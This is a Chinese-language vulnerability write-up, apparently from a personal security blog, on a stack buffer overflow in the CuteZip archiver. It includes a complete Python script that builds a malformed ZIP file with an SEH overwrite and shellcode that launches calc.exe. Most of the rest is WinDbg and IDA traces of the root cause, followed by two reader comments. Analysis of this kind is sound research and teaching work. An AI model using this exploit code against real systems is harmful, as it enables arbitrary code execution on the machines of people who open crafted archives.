作者:k0shl 转载请注明出处:http://whereisk0shl.top
不知道大家昨天平安夜过的怎么样,圣诞节到了,祝大家圣诞节快乐!
漏洞说明
cutezip是一个解压的工具,如果我构造特殊的压缩包,在解压的时候会由于处理产生问题,会导致代码执行。所以是一个比较典型也是比较有意思的漏洞。
软件下载:
https://www.exploit-db.com/apps/4920b346554df70d90bc9853b3e45229-cutezip20b.exe
PoC:
#!/usr/bin/python
# coding=utf-8
# 作者:k0sh1
import sys
import getopt
#帮助信息
def myhelp(arg):
print "[-]Usage:%s [Option] [Param]"%arg
print "[-]Example:"
print "%s -v test.zip"%arg
print "%s -a exp.zip"%arg
#生成poc文件
def CuteZip_verify(filename):
try:
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
#构造poc文件
payload = '\x41'*4064 + ".txt"
poc = ldf_header + payload + cdf_header + payload + eofcdf_header
#打开用户定义文件
f = open(filename,'w')
f.write(poc)
#写入后保存
print "Create %s success!"%filename
f.close()
except Exception,e:
print e
print "Create %s failure!"%filename
#生成攻击文件
def CuteZip_attack(filename):
try:
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")
#构造poc文件
payload = "\x41" * 1148
#seh point
nseh = "\xeb\x07\x90\x90"
seh = "\x2F\x11\x40\x00"
egg = "\x41" * 2
egg += "\x61\x61\x61\x51\x58\xFF\xD0"
shellcode = "\x41" * 123
shellcode +=("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x8d\x15\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\xea\xcd\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00")
#补充数据
junk = "\x42" * (4064-len(payload+nseh+seh+egg+shellcode))
payload = payload+nseh+seh+egg+shellcode+junk
#构造payload
payload = payload +".txt"
Exploit = ldf_header+payload+cdf_header+payload+eofcdf_header
#打开用户定义文件
f = open(filename,'w')
f.write(Exploit)
#写入后保存
print "Create %s success!"%filename
f.close()
except Exception,e:
print e
print "Create %s failure!"%filename
#主函数
def main():
try:
options,args = getopt.getopt(sys.argv[1:],"hv:a:")
except getopt.GetoptError:
print "[-]See help '-h'"
sys.exit()
for name,value in options:
if name in ("-h"):
#显示帮助
myhelp(sys.argv[0:])
if name in ("-v"):
#生成poc文件
CuteZip_verify(value)
if name in ("-a"):
#生成attack文件
CuteZip_attack(value)
if __name__ == '__main__':
main()
调试环境:
Windows xp sp3
Windbg
IDA pro
用我的PoC吧,在生成一个压缩包之后,通过cutezip来解压,命令行输入命令就可以引发漏洞了,具体输入命令在我的漏洞分析中有写。
漏洞复现
我提交了一份可用的poc,通过命令
cutezip.py -v test.zip
可以生成一个带有漏洞的样本,加载CuteZip.exe,程序崩溃,附加windbg,到达漏洞触发的现场。
0:004> g
(67c.1e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=028cfccb ecx=000002b7 edx=00000000 esi=0182f536 edi=028d0000
eip=0047cc50 esp=028cfa24 ebp=028cfa2c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
*** WARNING: Unable to verify checksum for C:\Program Files\GlobalSCAPE\CuteZIP\CuteZip.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\GlobalSCAPE\CuteZIP\CuteZip.exe
CuteZip+0x7cc50:
0047cc50 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:028d0000=jQuery214047812523995526135_1452926713836?????? ds:0023:0182f536=41414141
可以看到敏感指令rep movs,其实如果经常调试漏洞的话,这里是一个敏感的操作,涉及到内存拷贝,其实这里就是一个strcpy操作,那么我们来看一下esi指针的值。
0:003> dd esi
0182f536 41414141 41414141 41414141 41414141
0182f546 41414141 41414141 41414141 41414141
0182f556 41414141 41414141 41414141 41414141
0182f566 41414141 41414141 41414141 41414141
0182f576 41414141 41414141 41414141 41414141
0182f586 41414141 41414141 41414141 41414141
0182f596 41414141 41414141 41414141 41414141
0182f5a6 41414141 41414141 41414141 41414141
重新回到poc中,我们可以看到poc中的确存在大量的A,那么可以猜想是对大量畸形字符串的读取出现了问题,导致了指针被覆盖,从而使拷贝出现异常,而利用超常字符的覆盖,可以控制seh指针,达到执行任意代码的目的。
漏洞分析
首先我们来看一下漏洞触发前后的代码上下文。
.text:0047CC40 LeadUp3_0: ; DATA XREF: _memcpy_0+6Co
.text:0047CC40 and edx, ecx
.text:0047CC42 mov al, [esi]
.text:0047CC44 mov [edi], al
.text:0047CC46 inc esi
.text:0047CC47 shr ecx, 2
.text:0047CC4A inc edi
.text:0047CC4B cmp ecx, 8
.text:0047CC4E jb short loc_47CBDC
.text:0047CC50 rep movsd
可以看到,漏洞函数代码,处于LeadUp3_0这个分之中,这样我们可以回溯这个函数的入口点。
; void *__cdecl memcpy_0(void *, const void *, size_t)
_memcpy_0 proc near
arg_0= dword ptr 8
arg_4= dword ptr 0Ch
arg_8= dword ptr 10h
push ebp
mov ebp, esp
push edi
其实这里可以看到,调用函数被命名名为memcpy_0,其实memcpy被重写了,通过这段位代码分析,我们可以发现,事实上esi就是传入的第二个要拷贝参数的指针,只是这处指针被覆盖了,从而导致地址读取失败。
接下来我们来看一下堆栈调用情况。
0:003> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
028cfa2c 0047a648 028cfccb 0182f201 00000e11 CuteZip+0x7cc50
028cfa50 0047a5d3 00000e11 00000001 00000fe4 CuteZip+0x7a648
028cfa70 00464660 028cfaf8 00000001 00000fe4 CuteZip+0x7a5d3
028cfa74 028cfaf8 00000001 00000fe4 004f7110 CuteZip+0x64660
我们关注第一个函数的回溯点
.text:0047A63F push edi ; size_t
.text:0047A640 push dword ptr [esi] ; void *
.text:0047A642 push ebx ; void *
.text:0047A643 call _memcpy_0
.text:0047A648 sub [ebp+arg_0], edi
可以看到这里时标准的memcpy调用,实际上重写函数的功能差不多,我们就在0047A643下个断点,重启函数跟踪一下。
0:005> bp 0047a643
0:005> g
Breakpoint 0 hit
eax=00000fff ebx=0012d495 ecx=00000003 edx=00000009 esi=004f7110 edi=00000003
eip=0047a643 esp=0012d434 ebp=0012d450 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
CuteZip+0x7a643:
0047a643 e838250000 call CuteZip+0x7cb80 (0047cb80)
0:000> dd poi(esi)
0182f201 1404034b 00000000 ceacb700 00000034
0182f211 00000000 00000000 00000fe4 41414100
0182f221 41414141 41414141 41414141 41414141
0182f231 41414141 41414141 41414141 41414141
加载后我们到达漏洞现场,实际上可以看到,此时esi中存放的值并不是41414141,而是一个可读的指针地址,证明此时还没有被覆盖,因此我们按g继续执行,通过此类方法,一直执行到esi被畸形字符串覆盖的那一刻。
0:000> g
Breakpoint 0 hit
eax=00000fff ebx=0012d495 ecx=00000003 edx=00000009 esi=004f7110 edi=00000003
eip=0047a643 esp=0012d434 ebp=0012d450 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
CuteZip+0x7a643:
0047a643 e838250000 call CuteZip+0x7cb80 (0047cb80)
0:000> dd poi(esi)
0182f201 1404034b 00000000 ceacb700 00000034
0182f211 00000000 00000000 00000fe4 41414100
0182f221 41414141 41414141 41414141 41414141
0:000> g
Breakpoint 0 hit
eax=00000fff ebx=0012ca15 ecx=00000003 edx=00000009 esi=004f7110 edi=00000003
eip=0047a643 esp=0012c9b4 ebp=0012c9d0 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
CuteZip+0x7a643:
0047a643 e838250000 call CuteZip+0x7cb80 (0047cb80)
0:003> g
Breakpoint 0 hit
eax=000001d2 ebx=028cfaf8 ecx=00000fe4 edx=01828510 esi=004f7110 edi=000001d2
eip=0047a643 esp=028cfa34 ebp=028cfa50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
CuteZip+0x7a643:
0047a643 e838250000 call CuteZip+0x7cb80 (0047cb80)
0:003> dd poi(esi)
0182f22e 41414141 41414141 41414141 41414141
0182f23e 41414141 41414141 41414141 41414141
0182f24e 41414141 41414141 41414141 41414141
0182f25e 41414141 41414141 41414141 41414141
经过计算,在6次之后,到达了漏洞触发的现场,esi已经被畸形字符串覆盖了,这样我们还是需要分析为什么会执行六次,而不是一次到达,以及为什么esi会被覆盖。
首先我们来观察一下调用memcpy_0函数的现场
size_t __cdecl fread(void *a1, size_t a2, size_t a3, FILE *a4)
{
size_t v4; // edi@1
_BYTE *v5; // ebx@1
unsigned int v6; // ecx@1
FILE *v8; // esi@3
unsigned int v9; // eax@8
size_t v10; // edi@9
unsigned int v11; // eax@13
int v12; // eax@15
int v13; // eax@18
char *v14; // [sp+18h] [bp+8h]@1
unsigned int v15; // [sp+24h] [bp+14h]@4
v4 = a3 * a2;
v5 = a1;
v6 = a3 * a2;
v14 = (char *)(a3 * a2);
if ( !(a3 * a2) )
return 0;
v8 = a4;
if ( a4->_flag & 0x10C )
v15 = a4->_bufsiz;
else
v15 = 4096;
while ( 1 )
{
if ( v8->_flag & 0x10C )
{
v9 = v8->_cnt;
if ( v9 )
{
v10 = v6;
if ( v6 >= v9 )
v10 = v8->_cnt;
memcpy_0(v5, v8->_ptr, v10);
v14 -= v10;
v8->_cnt -= v10;
v8->_ptr += v10;
v5 += v10;
v4 = a3 * a2;
goto LABEL_20;
}
}
可以看到,这里调用了一个v8指针,这个指针是一个FILE指针,而根据我的猜测,FILE也是一个自定义的结构体指针,不管它是不是,我们都能分析出这个指针的结构,可以通过对比以下指令对应到结构体中。
test word ptr [esi+0Ch], 10Ch
mov eax, [esi+18h]
mov eax, [esi+4]
push dword ptr [esi]
这四个指令不是连续指令,只是筛选出来和结构体有关,这样我们可以构造以下这个结构体的定义
struct FILE
{
_ptr +0x0
_cnt +0x4
_flag +0x0c
_bufsize +0x18
}
可以看到外层函数fread也是一个重写的函数,而漏洞位置就出现在FILE *this中。
我们在fread下断点,重新跟踪,发现结果和之前对memcpy差不多,其实此时,我们需要再次往外层函数跟踪,终于发现了漏洞触发的关键函数。
int __thiscall sub_464400(void *this, int a2, int a3)
这个函数里多个函数调用了fread,其中最关键的在于最后一次调用
v31 = (FILE *)*((_DWORD *)v3 + 4);
if ( sub_47A5B6(&v43, 1u, 0x2Eu, v31) == 46 )
goto LABEL_30;
在这个调用中v31作为指针被赋予了41414141,我们在第五次调用的时候下断点,通过gu执行到返回,单步跟踪查看sub_464400的内容。
0:003> p
eax=00000fe4 ebx=00000000 ecx=0000001f edx=00a5d1e0 esi=00000fe4 edi=028cfaf8
eip=00464653 esp=028cfa88 ebp=01828a50 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
CuteZip+0x64653:
00464653 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:01828a60=004f7110
0:003> dd ebp
01828a50 004d48b8 004d0101 00a5ea98 00a57df8
01828a60 004f7110 0000202a 00daf0b0 00daf6d0
01828a70 00da1000 00de1140 00de10f0 00de1110
01828a80 00de10b0 00de1bc0 00000000 00000001
01828a90 00da0000 00de0000 00000000 00000000
01828aa0 000b0017 0108017e 004da948 00a50178
01828ab0 00000000 00000000 00000000 00000000
01828ac0 00000000 00000000 00000000 00000000
0:003> dd poi(ebp+10)
004f7110 0182f1e6 000001d2 0182f1b8 00000009
004f7120 00000003 00000000 00001000 00000000
004f7130 00000000 00000000 00000000 00000000
004f7140 00000000 00000000 00000000 00000000
004f7150 00000000 00000000 00000000 00000000
004f7160 00000000 00000000 00000000 00000000
004f7170 00000000 00000000 00000000 00000000
004f7180 00000000 00000000 00000000 00000000
0:003> dd 0182f1e6
0182f1e6 41414141 41414141 41414141 41414141
0182f1f6 41414141 41414141 41414141 41414141
0182f206 41414141 41414141 41414141 41414141
0182f216 41414141 41414141 41414141 41414141
0182f226 41414141 41414141 41414141 41414141
0182f236 41414141 41414141 41414141 41414141
0182f246 41414141 41414141 41414141 41414141
0182f256 41414141 41414141 41414141 41414141
可以看到这一步的赋值,导致了畸形字符串交给了file结构体,而file结构体对应ptr位置被超长字符串覆盖成了41414141,从而导致了问题的发生。
```
0047CC50 . F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]
```
我查到的第一次出现异常是在此处拷贝出现的问题,在不断拷贝的时候edi指向的栈地址超过了栈底,导致了异常。不知道是不是因为我是拖入程序分析而不是使用open选项打开程序分析的缘故。当edi值为0x2550000时则超过了栈底。
@1195011908 调试环境等因素是可能导致崩溃时回溯的差异的,你说的这种情况也是有可能的,这种情况下你可以尝试减少payload部分的长度,再尝试尝试
@k0shl 好的,谢谢师傅指点